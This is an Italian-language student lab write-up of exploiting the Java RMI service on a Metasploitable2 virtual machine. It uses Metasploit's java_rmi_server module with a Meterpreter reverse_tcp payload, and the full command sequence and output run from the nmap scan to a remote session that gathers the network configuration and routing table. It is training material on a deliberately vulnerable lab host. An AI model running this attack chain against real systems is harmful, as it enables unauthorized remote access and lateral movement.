

## Progetto settimanale.

### Exploit Java-RMI.

#### Traccia:

La nostra macchina Metasploitable presenta un servizio vulnerabile sulla porta 1099 – Java RMI. Si richiede allo studente di sfruttare la vulnerabilità con Metasploit al fine di ottenere una sessione di Meterpreter sulla macchina remota.

I requisiti dell'esercizio sono:

- La macchina attaccante (KALI) deve avere il seguente indirizzo IP: 192.168.11.111
- La macchina vittima (Metasploitable) deve avere il seguente indirizzo IP: 192.168.11.112
- Una volta ottenuta una sessione remota Meterpreter, lo studente deve raccogliere le seguenti evidenze sulla macchina remota:
  - 1) configurazione di rete.
  - 2) informazioni sulla tabella di routing della macchina vittima.

#### Configurazione indirizzi IP.

Assegno alla macchina Metasploitable2 l'IP 192.168.11.112

```
sudo su
```

```
nano /etc/network/interfaces
```

sostituisco iface eth0 con:

```
auto eth0
```

```
iface eth0 inet static
```

```
address 192.168.11.112
```

```
netmask 255.255.255.0
```

```
gateway 192.168.11.1
```

Riavvio l'interfaccia di rete:

```
/etc/init.d/networking restart
```

Verifico ora indirizzo IP:

```

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        inet6 ::1/128 scope host
            valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 08:00:27:a8:5a:c5 brd ff:ff:ff:ff:ff:ff
    inet 192.168.11.112/24 brd 192.168.11.255 scope global eth0
        inet6 fe80::a00:27ff:fea8:5ac5/64 scope link
            valid_lft forever preferred_lft forever
msfadmin@metasploitable:~$

```

Assegno a Kali l'IP 192.168.11.111

```

1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:04:42:0f brd ff:ff:ff:ff:ff:ff
    inet 192.168.11.111/24 brd 192.168.11.255 scope global noprefixroute eth0
        valid_lft forever preferred_lft forever
    inet6 fe80::6a63:b2a1:c85a:91b1/64 scope link noprefixroute
        valid_lft forever preferred_lft forever

```

Faccio una prova di connettività:

ping 192.168.11.112

```

(kali㉿kali)-[~]
$ ping 192.168.11.112
PING 192.168.11.112 (192.168.11.112) 56(84) bytes of data.
64 bytes from 192.168.11.112: icmp_seq=1 ttl=64 time=1.02 ms
64 bytes from 192.168.11.112: icmp_seq=2 ttl=64 time=0.567 ms
64 bytes from 192.168.11.112: icmp_seq=3 ttl=64 time=0.603 ms
64 bytes from 192.168.11.112: icmp_seq=4 ttl=64 time=0.452 ms
64 bytes from 192.168.11.112: icmp_seq=5 ttl=64 time=0.428 ms
^C

```

Scansione dei servizi.

Dopo aver visto che le macchine possono comunicare procedo con una scansione dei servizi attivi:

`nmap -sV 192.168.11.112`

```
(kali@kali)-[~]
$ nmap -sV 192.168.11.112
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-16 05:13 EDT
Nmap scan report for 192.168.11.112
Host is up (0.00022s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login?
514/tcp   open  shell        Netkit rshd
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 08:00:27:A8:5A:C5 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_ke

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 67.12 seconds
```

Si noti che il servizio java-rmi che gira sulla porta 1099 è attivo.

Questo servizio è vulnerabile a causa di una configurazione errata che permette di iniettare codice arbitrario alla macchina target per ottenere accesso amministrativo.

Sessione di attacco al servizio Java-RMI.

Avvio Metasploit

Digito **msfconsole**

```
L$ msfconsole
Metasploit tip: Use the resource command to run commands from a file
Call trans opt: received. 2-19-98 13:24:18 REC:Loc
Trace program: running

wake up, Neo...
the matrix has you
follow the white rabbit.

knock, knock, Neo.

https://metasploit.com
```

Digito **search java\_rmi**

```
msf6 > search java_rmi

Matching Modules

#  Name                                     Disclosure Date  Rank      Check  Description
-  -                                     -              -      -      -
0  auxiliary/gather/java_rmi_registry        .              normal    No      Java RMI Registry Interfaces
1  exploit/multi/misc/java_rmi_server        2011-10-15     excellent Yes      Java RMI Server Insecure Defa
2  \_ target: Generic (Java Payload)         .              .         .       .
3  \_ target: Windows x86 (Native Payload)   .              .         .       .
4  \_ target: Linux x86 (Native Payload)     .              .         .       .
5  \_ target: Mac OS X PPC (Native Payload)  .              .         .       .
6  \_ target: Mac OS X x86 (Native Payload)  .              .         .       .
7  auxiliary/scanner/misc/java_rmi_server    2011-10-15     normal    No      Java RMI Server Insecure Endp
8  exploit/multi/browser/java_rmi_connection_impl 2010-03-31     excellent No      Java RMIConnectionImpl Deseri
```

L'exploit più interessante è il numero 1 exploit/multi/misc/java\_rmi\_server.

Digito **use 1**

```
msf6 > use 1
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > 
```

Di default ci assegna il payload java/meterpreter/reverse\_tcp.

Proseguo e controllo le opzioni da configurare utilizzando il comando **options**

```
msf6 exploit(multi/misc/java_rmi_server) > options
Module options (exploit/multi/misc/java_rmi_server):
```

Name	Current Setting	Required	Description
HTTPDELAY	10	yes	Time that the HTTP Server will wait for the payload request
RHOSTS		yes	The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/bas">https://docs.metasploit.com/docs/using-metasploit/bas</a>
RPORT	1099	yes	The target port (TCP)
SRVHOST	0.0.0.0	yes	The local host or network interface to listen on. This must be an address on
SRVPORT	8080	yes	The local port to listen on.
SSL	false	no	Negotiate SSL for incoming connections
SSLCert		no	Path to a custom SSL certificate (default is randomly generated)
URIPATH		no	The URI to use for this exploit (default is random)

```

Payload options (java/meterpreter/reverse_tcp):
```

Name	Current Setting	Required	Description
LHOST	192.168.11.111	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

```

Exploit target:
```

Id	Name
0	Generic (Java Payload)

Configuro le opzioni richieste:

**set RHOSTS 192.168.11.112**

```
msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.11.112
RHOSTS => 192.168.11.112
```

Controllo se i parametri sono tutti correttamente impostati:

digito **options**

```
Module options (exploit/multi/misc/java_rmi_server):
```

Name	Current Setting	Required	Description
HTTPDELAY	10	yes	Time that the HTTP Server will wait for the payload request
RHOSTS	192.168.11.112	yes	The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/bas">https://docs.metasploit.com/docs/using-metasploit/bas</a>
RPORT	1099	yes	The target port (TCP)
SRVHOST	0.0.0.0	yes	The local host or network interface to listen on. This must be an address on
SRVPORT	8080	yes	The local port to listen on.
SSL	false	no	Negotiate SSL for incoming connections
SSLCert		no	Path to a custom SSL certificate (default is randomly generated)
URIPATH		no	The URI to use for this exploit (default is random)

```

Payload options (java/meterpreter/reverse_tcp):
```

Name	Current Setting	Required	Description
LHOST	192.168.11.111	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

I parametri sono ben settati.

Digito **exploit**

```

msf6 exploit(multi/misc/java_rmi_server) > exploit
[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/suK2CV8nq1
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (58073 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 → 192.168.11.112:56200) at 2025-05-16 05:35:48 -0400

```

Si è aperta una sessione di Meterpreter con la quale ora possiamo ricavare informazioni sulla macchina target.

Ai fini dell'esercizio ricaveremo le informazioni sulla configurazione di rete e le informazioni sulla tabella di routing.

Raccolta informazioni.

Digito **ipconfig** per raccogliere le informazioni della rete in uso:

```

meterpreter > ipconfig

Interface 1
-----
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
-----
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fea8:5ac5
IPv6 Netmask : ::

```

Come si può vedere si sono raccolte evidenze circa gli indirizzi IP, le netmask e gateway

Digito il comando **route** per ottenere la tabella di routing della macchina target:

```

meterpreter > route

IPv4 network routes
-----
Subnet      Netmask      Gateway      Metric      Interface
-----
127.0.0.1    255.0.0.0    0.0.0.0      0            lo
192.168.11.112 255.255.255.0 0.0.0.0      0            eth0

IPv6 network routes
-----
Subnet      Netmask      Gateway      Metric      Interface
-----
::1          ::           ::           0            lo
fe80::a00:27ff:fea8:5ac5 ::           ::           0            eth0
meterpreter >

```



## Considerazioni finali.

In questa esercitazione abbiamo eseguito un exploit contro il servizio Java-RMI (porta 1099/TCP) presente sulla macchina Metasploitable2.

Il servizio Java-RMI consiste in una tecnologia che consente a diversi processi Java di comunicare tra di loro attraverso una rete.

La vulnerabilità del servizio è dovuta ad una configurazione errata che permette ad un potenziale attaccante di iniettare codice arbitrario alla macchina target per ottenere accesso amministrativo.

Attraverso l'attacco condotto con Metasploit, uno strumento fondamentale per il penetration testing e la ricerca sulle vulnerabilità, si è ottenuto l'accesso non autorizzato al sistema target.

Una volta ottenuto l'accesso con la sessione di Meterpreter si sono potute ricavare diverse informazioni:

- la configurazione di rete;
- la tabella di routing della macchina target.

Quest'ultima informazione può essere estremamente importante per effettuare i cosiddetti 'movimenti laterali': una volta ottenuto l'accesso con Meterpreter un penetration tester o un ipotetico attaccante possono navigare attraverso la rete target, compromettendo ulteriori sistemi e risorse fino ad ottenere un accesso completo alla rete obiettivo.

Inoltre, avendo usato un payload `/meterpreter/reverse_tcp` è meno probabile che l'exploit venga fermato dai firewall in quanto la connessione in uscita dalla macchina target è generalmente consentita.

Conoscere come possono avvenire gli attacchi aiuta a identificare le minacce e le vulnerabilità nei sistemi in modo da poter sviluppare misure di difesa più efficaci.